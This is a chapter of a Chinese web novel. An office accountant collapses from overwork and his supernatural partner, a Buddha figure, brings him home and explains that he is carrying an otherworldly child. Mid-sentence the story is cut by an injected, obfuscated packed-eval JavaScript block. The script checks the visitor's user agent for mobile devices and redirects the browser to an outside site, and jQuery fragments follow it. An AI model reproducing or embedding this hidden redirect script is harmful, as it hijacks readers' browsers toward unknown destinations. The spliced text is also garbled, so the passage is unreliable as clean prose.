砂金流渚 作品
169.失去意识
施霜景关上车门,心中升起淡淡的死意,不敢想桌上到底堆积了多少活没干。他请假这些天,会议邀请和会议纪要一样没少,同事的留言和工作跟进堆成山,他昨晚睡前看了一眼钉钉,简直是郁闷得想吐,光是今天就给他排了三个会。
停车场的旁人看一位英俊逼人的男人正扶着车门犯抑郁,不知他到底在想什么,反正就是不想上楼。男人的着装干净得体,衣料平整,呈现出很好的打理效果,虽是简约通勤风格,但男人的身高加样貌加衣服品味再加锻炼得宜的身材,这帅哥在这片写字楼算是挺出名,听说他在十九层的智能家居家电公司做财务,可惜赚得不多,也可惜他是出了名的躲搭讪。
施霜景的欢乐大学生活一去不复返了。
电梯上行,有如时光飞逝。他七年前大学录取时还那个傻乐啊,大一期末考试就老实了。上不完的专业课,学不完的数学和打表。作为会计,他们还附赠另一条人生主线,即考不完的证。大一考初会,大三找公司实习,上学期间得过英语四六级,一到大四要么准备考研,要么准备考CpA。
即便如此,施霜景的大学生活也还算快乐。他大二那年和同学组了乐队,只不过成员们随着毕业又各自纷飞,玩乐队真的只是“玩”,几乎没留下什么作品。施霜景是走读生,大家都知道他在学校附近租了房子,和人同居。同学经常看见施霜景下了晚课就上了一台机车的后座,偶尔也看见施霜景和同居的男友在街边小吃摊买夜宵。从高三到大四,施霜景的身高又长了六厘米,和他男友溜达时有特殊气场,隐形的铜墙铁壁,一种不可言喻的外貌主义至上的氛围。
施霜景进公司,他们财务办公室加上他一共只有三个人。工作繁重不堪言,施霜景放下手里的咖啡,翻了翻桌上的文件,当即就坐下来开始分类,哪些是今天必须要做完的,甚至哪些是上午就必须要做完的。施霜景打开电脑,屏幕炫光令他眼疼,破公司自己做智能家电,但这些显示屏都是二手收的便宜货中的便宜货,施霜景真快瞎了。
他今天要核对出口退税申报资料和复核会计助理做的固定资产折旧表,准备税务申报资料,然后在和业务部门开会之前看一看他们的新产品成本测算。一提到会计助理他就心塞,老板塞进来的关系户,才来办公室不到一年,老板就想把施霜景负责的核心工作转移给他——为了把施霜景挪走,老板竟然还开了个类似财务Bp的岗,把施霜景安排过去。他们办公室还有一位总管会计,是和施霜景不同类型的忙,现在施霜景被塞了很多脏活,会计助理又扶不上墙,总管会计也很心塞。
这下好了,施霜景又要管财务,又要跑业务和生产部门。施霜景屁股一挨椅子,再抬头就是十点钟,要去开第一场会议,和销售部、市场部开月度销售和回款跟进会。第一场会议开了一个钟头,开完之后,施霜景留在会议室,总管会计和财务总监进来,马上无缝衔接开财务例会。施霜景被财务总监明里暗里用话刺,说施霜景的请假时间很致命,这不是要忙死小汪吗——小汪是会计助理。施霜景不苟言笑,懒得接茬,汇报完上个会议的重要回款进度,马上衔接今天下午需要走的付款审批流程,半个小时解决例会。
工作很辛苦,但施霜景偶尔会觉得,他是不是脑子真的出问题了——这工作也太辛苦了吧!施霜景开完会,回办公室复核材料到十二点半,下楼随便找了个馆子吃午饭,吃完回来继续处理工作,期间小汪过来寒暄,大家都知道施霜景其实是请丧假,多少还是要付以一些同情。施霜景把复核过的固定资产折旧表打回给小汪,让他根据反馈意见重新计提。
“景哥,你这不就是顺手的事么……”小汪躲懒,反正厚脸皮是他的强项。
施霜景又给他发送了几张对账单,“这里怎么会有负数?重复冲销了?”意思是拿着这些狗屎快滚,施霜景今天真的没空给关系户擦屁股。
下午三点,施霜景带上资料,开Bp会议。他在会议开始前还在想,是不是需要给罗爱曜发条消息,施霜景今天铁定要加班了,晚上十一点都不一定能走人。业务负责人和生产部门的人很熟,相谈甚欢,施霜景无言地揉眉心。施霜景很不喜欢开Bp会议,因为这个公司压根就没有能够容纳财务Bp的架构,施霜景每次开会都受夹板气,听来听去都在听一些他没有决定权的事,意义何在?
一个小时的会,硬生生拖到两个小时才结束。施霜景出会议室,忽然一下心跳急顿,如半空悬浮。
施霜景应声倒地,当下便人事不省。公司同事被吓一大跳,炸开锅来——这该怎么办!施霜景是怎么了?要不要打急救电话!
于慌乱之中,施霜景常年静音的手机忽然响起铃声,众人找半天,这是谁的电话?随后才有同事发现,是地上施霜景的手机亮了。女同事连忙接起电话,还没来得及传达这边的紧急情况,电话对面便响起清泉声音:“施霜景是不是出事了?”
“对……对!你怎么知道!”
“他的手表有健康监控,我是紧急联系人。”对面稍作停顿,加重语气,“请把施霜景扶到你们公司的休息室,或者让他尽量平躺。我在来的路上,我会接走他。”
同事担忧至极,“真的不需要打电话找救护车么?我看施霜景根本没意识了,他刚才那下摔得好重。”
“我开车过来只需要十五分钟。我会带他去医院。现在请按我说的做,谢谢。”
寻常人的眼睛看不见,施霜景虽是倒地了,可地上生出一层厚实蛛网般的咒文,具有游离性质,这大大缓冲了施霜景倒地时所受的撞击。
公司没有休息室,大家总不好看施霜景躺在走廊上,众人就把他搬回了会议室,清空椅子,令他平躺在地。有两位同事留在会议室紧盯施霜景的情况,其余人被老板遣回工位。老板思考片刻,还是打了急救电话,他总觉得施霜景的家属可能要讹人,最好不要信家属的话。
一双手温柔地揉按着施霜景的太阳穴与整个头颅,珠玉琳琅之声微微荡漾,幻美的巨大人形跪坐在地,陪伴施霜景。罗爱曜的法身常年跟随施霜景,不曾有疏忽。室内气温骤低,同事摩挲手臂,一位同事以为自己是被施霜景吓着了,另一位同事直接回工位找外套,认为是空调出问题。
罗爱曜法身虔诚地俯身,他那以蓝色经文遮掩的无面之面,随着俯身而再一次暴露在施霜景眼前,可惜施霜景已意识全无。经文念诵之音于灵魂层面缓缓升起,无人能懂,如风也如歌,罗爱曜的这一人形法身比起实在的人身,更擅长这些仪式动作,不论是唱念诵读还是行走步法,这是近年来自动演化的,像是通过模仿进而超越,成为法身中的特殊形态。
二十分钟后,罗爱曜几乎是与急救人员同时抵达。急救人员为施霜景现场评估,罗爱曜一反常态地沉默,没当众拆了大家的好意。急救人员用担架将施霜景抬进电梯,可出来时担架已空,急救人员只记得自己去错地址,而罗爱曜已将施霜景藏起,直接带回家中。
一片黑暗映入眼帘,施霜景陷入迷离,意志恍惚摇摆,直到床头灯被人打开,温柔暖
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15796747|168887||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
光映亮黑暗。施霜景意识到自己在家。
施霜景勉强撑起身体,罗爱曜扶他靠上床头,施霜景问:“这是怎么回事?我怎么回家了?”
罗爱曜简略交代施霜景在公司发生的事,施霜景更是迷茫,他有过重病经历,这次他也下意识问道:“我又生病了?”
“不,不是生病。你先喝点水。”罗爱曜将温水塞到施霜景手里,这才解释道,“是玉米。玉米到了这里,着床了。”他一边说着,一边抚上施霜景的小腹,像是给施霜景指路。
未等施霜景开口,罗爱曜语气稍冷,严肃道:“恐怕我们接下来都要做好心理准备,玉米是我们强求来的,可能会有些折磨人。”
施霜景捧着温水杯,暖手的同时也暖暖动荡的心,听罗爱曜细致说明。
“你接下来可能会精力不济,经常睡觉,甚至没有办法外出。玉米不是凡胎,也不是我所知道的任何一类佛胎,这么说可能有点对不起玉米,但它现在更近似于鬼胎,先天不足,需要从你的体内吸收大量的能量,出生之后还需要我随时带在身边,精细地照养、看护,至少需要两到三年。”
罗爱曜面上冷硬坚强,心里有些许的遗憾与愧疚,玉米需要他作“东拼西凑”,很多都是未知,现阶段只能如此。玉米从施霜景那儿吸收走的能量,需要罗爱曜以各种方式补足,但施霜景还是难免遭受这些磨难,比一般的孕育更加辛苦。
施霜景听完,将杯中温水一饮而尽,放回杯子,他双手握住罗爱曜放在自己腹上的右手,认真道:“你没有对不起玉米。我们都会陪着它,等他回来。不过就是代价,我担着就行。我需要做什么?”
“留在家里,好好照顾自己。你现在的工作可能没办法再继续了。”
还说工作呢,打工就到今天为止,施霜景激动地控诉这群烂人:“我是休丧假,不是欠他们的!这活谁爱干谁干,我不想干了。就算没有怀孕,我也打算辞职,这班一天天上着是在羞辱我,我脑子进水了,什么‘积累工作经验’……我中午对账的时候,真觉得快要猝死了,心脏突突地跳,不知道是我的心理作用还是真的心脏不舒服……”
罗爱曜经常听施霜景吐槽工作,这曾经是他们的饭桌乐趣之一。施霜景控诉了好几分钟,忽然偃旗息鼓,滑躺下来,压低声音:“是我的错觉吗?我只是说几句话就又累了?”
罗爱曜是没有心的佛,但他与施霜景之间有超越生死与因缘的紧密关联,因而他对施霜景有着一切特殊的感情。罗爱曜心中百味杂陈,有怜爱也有替而代之的难过,不忍心看施霜景辛苦,可他们都是自愿揽下这麻烦。听见施霜景察觉到自己变得虚弱,罗爱曜的心散作了波涛,潮汐撕扯、拍打,极寒,可又有一轮幽日悬吊空中,蒸着这散乱海水,叫罗爱曜收起对新生命的不耐,换上佛的日月轮之辉光,当妈妈的已经宽宥了,做爸爸的更有特殊的责任。罗爱曜当然要能者多劳。
“唉……”罗爱曜少见地长叹,“你会很累很累,我甚至不知道该如何化解。”
施霜景倒是很无所谓,还未死到临头,心中有盲目的乐观。就算不乐观,反正又不会死。施霜景要罗爱曜拿他手机来,他要发消息辞职。
“罗爱曜,我饿了,你能不能煮粥给我喝?”打字间隙,施霜景抬头,问罗爱曜。
在这七年中,罗爱曜再是矜贵自持,也学会了照顾人的本事。家中一般是施霜景做饭,但罗爱曜也会做简单的食物。罗爱曜二话不说便回厨房煮粥了。施霜景每每一想到罗爱曜愿意和他做这样的寻常爱人,就觉得什么也不怕,什么也都不可怕。